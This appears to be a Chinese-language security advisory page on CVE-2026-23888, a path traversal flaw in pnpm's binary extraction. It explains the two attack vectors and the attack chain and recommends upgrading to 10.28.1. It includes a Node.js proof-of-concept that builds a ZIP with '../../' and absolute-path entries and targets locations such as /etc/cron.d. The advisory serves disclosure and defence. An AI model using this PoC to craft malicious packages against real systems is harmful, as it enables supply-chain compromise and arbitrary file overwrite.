IPBUF安全漏洞报告
English
CVE-2026-23888 CVSS 6.5 中危

CVE-2026-23888: pnpm路径遍历漏洞允许覆盖任意文件

披露日期: 2026-01-26

漏洞信息

漏洞编号
CVE-2026-23888
漏洞类型
路径遍历
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
pnpm

相关标签

路径遍历任意文件写入pnpmnpm包管理器AdmZipBinaryResolutionRCECI/CD攻击面CVE-2026-23888

漏洞概述

pnpm是一款流行的JavaScript/Node.js包管理器。在10.28.1之前的版本中,pnpm的二进制文件获取器存在严重的路径遍历漏洞,允许恶意包在安装过程中将文件写入预期的提取目录之外。该漏洞源于两个攻击向量:一是通过恶意ZIP条目中的`../`路径遍历序列或绝对路径,利用AdmZip库的`extractAllTo`方法逃逸提取根目录;二是`BinaryResolution.prefix`字段在拼接到提取路径时缺乏安全验证,攻击者可构造`../../evil`等前缀将文件重定向到`targetDir`之外。此漏洞影响所有使用pnpm安装包含二进制资源的包的用户,以及配置自定义Node.js二进制位置和自动化CI/CD管道的场景。成功利用此漏洞可导致覆盖系统配置文件、脚本或其他敏感文件,最终可能实现远程代码执行(RCE)。

技术细节

该漏洞的核心问题在于pnpm的二进制提取逻辑缺乏充分的路径安全验证。攻击向量一:当pnpm处理包含二进制资源的npm包时,会使用AdmZip库解压ZIP文件。攻击者可创建包含路径遍历序列(如`../../`)或绝对路径的恶意ZIP条目。AdmZip的`extractAllTo`方法在默认配置下不会阻止这些异常路径,导致文件被提取到预期目录之外。例如,一个路径为`../../etc/cron.d/malicious`的ZIP条目会在解压时写入系统目录。攻击向量二:`BinaryResolution.prefix`字段被直接拼接到文件提取路径中而没有任何规范化或验证。攻击者可以通过精心构造的`package.json`中的bin字段,设置prefix为`../../evil`,使提取的文件写入到项目目录之外的位置。这种攻击方式特别危险,因为它不需要修改ZIP结构,只需配置包的元数据即可。攻击者可以发布恶意包到npm仓库,等待受害者安装,从而在CI/CD环境中实现持久化攻击或获取敏感信息。

攻击链分析

STEP 1
步骤1
攻击者创建恶意npm包,包含路径遍历payload的ZIP文件或配置异常的BinaryResolution.prefix
STEP 2
步骤2
攻击者将恶意包发布到npm仓库或通过其他渠道分发(如私有registry、内部包源)
STEP 3
步骤3
受害者使用pnpm安装该恶意包,触发二进制资源提取流程
STEP 4
步骤4
pnpm的AdmZip在解压时未验证路径,将文件写入到targetDir之外的攻击者指定位置
STEP 5
步骤5
恶意文件被写入敏感目录(如cron.d、.bashrc、启动脚本等),实现持久化或RCE

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env node // CVE-2026-23888 PoC - Malicious package with path traversal const fs = require('fs'); const path = require('path'); const AdmZip = require('adm-zip'); // Create malicious ZIP with path traversal entries function createMaliciousZip() { const zip = new AdmZip(); // Attack vector 1: Path traversal via ZIP entries // This writes outside target directory zip.addLocalFile(__filename, '', '../../malicious_file.js'); // Attack vector 2: Absolute path injection zip.addFile('/tmp/pnpm_escape', Buffer.from('malicious content'), 'Absolute path attack'); zip.writeZip('./malicious-package.zip'); console.log('[+] Malicious ZIP created: malicious-package.zip'); } // Simulate vulnerable binary extraction function simulateVulnerableExtraction(zipPath, targetDir) { console.log(`[*] Extracting to: ${targetDir}`); const zip = new AdmZip(zipPath); // VULNERABLE: No path validation before extraction zip.extractAllTo(targetDir, true); console.log('[+] Extraction completed (vulnerable behavior)'); // Check for escaped files const escapedPath = path.join(targetDir, '..', '..', 'malicious_file.js'); if (fs.existsSync(escapedPath)) { console.log(`[!] Path traversal successful! File written to: ${escapedPath}`); } } // Simulate vulnerable BinaryResolution.prefix usage function simulateVulnerablePrefix(prefix, targetDir) { console.log(`[*] Using BinaryResolution.prefix: ${prefix}`); // VULNERABLE: Direct concatenation without validation const extractionPath = path.join(targetDir, prefix, 'bin'); console.log(`[*] Extraction path: ${extractionPath}`); // This could write files outside targetDir return extractionPath; } // Main execution if (require.main === module) { console.log('=== CVE-2026-23888 PoC Demo ===\n'); createMaliciousZip(); console.log('\n--- Testing vulnerable extraction ---'); simulateVulnerableExtraction('./malicious-package.zip', '/tmp/pnpm-test'); console.log('\n--- Testing vulnerable prefix ---'); simulateVulnerablePrefix('../../../etc/cron.d', '/tmp/pnpm-test'); } module.exports = { createMaliciousZip, simulateVulnerableExtraction, simulateVulnerablePrefix };

影响范围

pnpm < 10.28.1

防御指南

临时缓解措施
立即将pnpm升级到10.28.1或更高版本以修复此漏洞。在升级前,避免安装来源不明的npm包,特别是包含二进制资源的包。对于必须使用的第三方包,建议先在隔离环境中测试。对于CI/CD管道,建议添加额外的安全检查层,验证安装的包是否包含可疑的路径遍历模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表